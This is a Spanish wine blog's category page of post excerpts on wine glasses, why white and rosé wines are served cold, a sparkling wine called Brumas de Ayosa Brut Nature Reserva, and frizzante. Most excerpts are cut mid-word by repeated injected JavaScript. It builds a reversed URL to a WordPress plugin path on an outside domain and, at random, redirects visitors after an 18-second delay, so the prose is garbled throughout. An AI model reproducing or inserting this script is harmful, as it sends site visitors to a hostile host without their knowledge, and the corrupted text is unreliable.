Temperatura del vino


¿Qué copa elijo para el vino espumoso?

En función del material y superficie, existen muchos tipos de copas. Para el vino la más adecuada es la transparente de cristal, lisa y fina, así percibirán mejor los aromas y el color del vino. Es aconsejable que la copa sea lo suficientemente grande para dejar espacio y que el […]


¿Por qué apetece vino blanco o rosado con el calor?

Parece que con el calor apetece más beber vino blanco o rosado. No es algo general pero son muchos los que se decantan por ellos o al menos así lo confirman. El vino blanco o rosado han dejado de ser exclusivamente estacionales, pero lo que si es ciertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if […]


Espumosos nacidos de las brumas III

En anteriores entradas hablábamos sobre los vinos espumosos y las variedades que tenemos disponibles actualmente, Brumas de Ayosa Brut Nature y Brumas de Ayosa Espumoso Afrutado. En esta ocasión es el turno del espumoso Brut Nature Reserva. Brumas de Ayosa Brut Nature Reserva La uva temprana va despalilla, se prensa y el mostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var […]


¿Por qué los vinos blancos se beben fríos?

Eso de que los vinos blancos hay que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomarlos fríos, o por lo menos más que los vinos tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, es algo que ya muchos conocemos aunque no seamos entendidos en vino. El caso es, ¿Sabes el por qué? […]


¿Qué es un Frizzante?

Por lo general cuando hablamos de Frizzante (vino de aguja en Italiano) no podemos llamarlo vino, según el reglamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de la Ley del Vino de España se denomina vino a los líquidos que resultan de la fermentación alcohólica del zumo de uvas, sin que se haya […]


¿Se deben enfriar los vinos?

Todos los vinos, incluidos los tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, se deben enfriar si no se encuentran a su temperatura óptima de consumo. El dicho popular «los vinos se deben beber a temperatura ambiente» ha hecho mucho daño al vino y a su elaborador, y es que la […]